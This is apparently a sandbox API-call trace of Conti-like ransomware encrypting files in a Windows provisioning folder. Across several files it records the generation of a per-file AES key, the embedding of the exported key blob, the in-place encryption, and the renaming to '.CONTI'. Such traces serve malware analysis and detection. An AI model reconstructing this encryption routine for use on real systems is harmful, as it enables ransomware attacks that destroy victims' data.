	[0112.502] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b1514, pdwDataLen=0x4d3fec4 | out: pbData=0x65b1514*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0112.503] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0112.503] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0112.503] GetLastError () returned 0x0
	[0112.503] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=850) returned 1
	[0112.503] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x352
	[0112.503] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.503] SetEndOfFile (hFile=0x3dc) returned 1
	[0112.503] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.503] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.504] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b1514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b1514*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.510] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.510] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x352, lpOverlapped=0x0) returned 1
	[0112.510] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x352, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x360) returned 1
	[0112.510] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.510] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x360, lpOverlapped=0x0) returned 1
	[0112.510] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.510] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b1508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b1508*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0112.510] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.510] CloseHandle (hObject=0x3dc) returned 1
	[0112.510] GetProcessHeap () returned 0x1720000
	[0112.510] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.510] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml"
	[0112.511] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml.CONTI"
	[0112.511] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\548__Connections_Cellular_Orange (Côte d’Ivoire)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\548__connections_cellular_orange (côte d’ivoire)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0112.511] GetProcessHeap () returned 0x1720000
	[0112.511] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.511] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0112.511] GetProcessHeap () returned 0x1720000
	[0112.511] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa498 | out: hHeap=0x1720000) returned 1
	[0112.511] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0112.511] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b1758 | out: phKey=0x65b1758*=0x17c7c70) returned 1
	[0112.511] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b175c, pdwDataLen=0x4d3fec4 | out: pbData=0x65b175c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0112.512] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.512] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0112.513] GetLastError () returned 0x0
	[0112.513] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=705) returned 1
	[0112.513] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0112.513] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.513] SetEndOfFile (hFile=0x3dc) returned 1
	[0112.513] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.513] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.513] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b175c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b175c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.519] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.520] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c1, lpOverlapped=0x0) returned 1
	[0112.520] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c1, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0112.520] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.520] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.520] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.520] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b1750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b1750*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0112.520] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.520] CloseHandle (hObject=0x3dc) returned 1
	[0112.520] GetProcessHeap () returned 0x1720000
	[0112.520] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.520] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml"
	[0112.520] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.520] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\54__Connections_Cellular_CTBC (Brazil)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\54__connections_cellular_ctbc (brazil)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.521] GetProcessHeap () returned 0x1720000
	[0112.521] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.521] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0112.521] GetProcessHeap () returned 0x1720000
	[0112.521] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b7940 | out: hHeap=0x1720000) returned 1
	[0112.521] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0112.521] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65af090 | out: phKey=0x65af090*=0x17c7db0) returned 1
	[0112.521] CryptExportKey (in: hKey=0x17c7db0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65af094, pdwDataLen=0x4d3fec4 | out: pbData=0x65af094*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0112.522] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.522] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0112.523] GetLastError () returned 0x0
	[0112.523] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=828) returned 1
	[0112.523] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33c
	[0112.523] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.523] SetEndOfFile (hFile=0x3dc) returned 1
	[0112.523] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.523] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.523] WriteFile (in: hFile=0x3dc, lpBuffer=0x65af094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65af094*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.529] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.529] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x33c, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x33c, lpOverlapped=0x0) returned 1
	[0112.530] CryptEncrypt (in: hKey=0x17c7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x33c, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x340) returned 1
	[0112.530] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.530] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x340, lpOverlapped=0x0) returned 1
	[0112.530] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.530] WriteFile (in: hFile=0x3dc, lpBuffer=0x65af088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65af088*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0112.530] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.530] CloseHandle (hObject=0x3dc) returned 1
	[0112.530] GetProcessHeap () returned 0x1720000
	[0112.530] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0112.530] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml"
	[0112.530] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.530] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\551__Connections_Cellular_Orange (Mali)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\551__connections_cellular_orange (mali)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.531] GetProcessHeap () returned 0x1720000
	[0112.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.531] CryptDestroyKey (hKey=0x17c7db0) returned 1
	[0112.531] GetProcessHeap () returned 0x1720000
	[0112.531] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b72d8 | out: hHeap=0x1720000) returned 1
	[0112.531] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0112.531] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65b1be8 | out: phKey=0x65b1be8*=0x17c7ab0) returned 1
	[0112.531] CryptExportKey (in: hKey=0x17c7ab0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b1bec, pdwDataLen=0x4d3fec4 | out: pbData=0x65b1bec*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0112.532] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.532] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\553__Connections_Cellular_Orange (Mauritius)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\553__connections_cellular_orange (mauritius)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0112.532] GetLastError () returned 0x0
	[0112.532] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=712) returned 1
	[0112.532] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0112.532] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.532] SetEndOfFile (hFile=0x3dc) returned 1
	[0112.533] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.533] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.533] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b1bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65b1bec*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.540] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.540] ReadFile (in: hFile=0x3dc, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c8, lpOverlapped=0x0) returned 1
	[0112.540] CryptEncrypt (in: hKey=0x17c7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0112.540] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.540] WriteFile (in: hFile=0x3dc, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0112.540] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.540] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b1be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65b1be0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0112.540] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.540] CloseHandle (hObject=0x3dc) returned 1
	[0112.540] GetProcessHeap () returned 0x1720000
	[0112.540] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
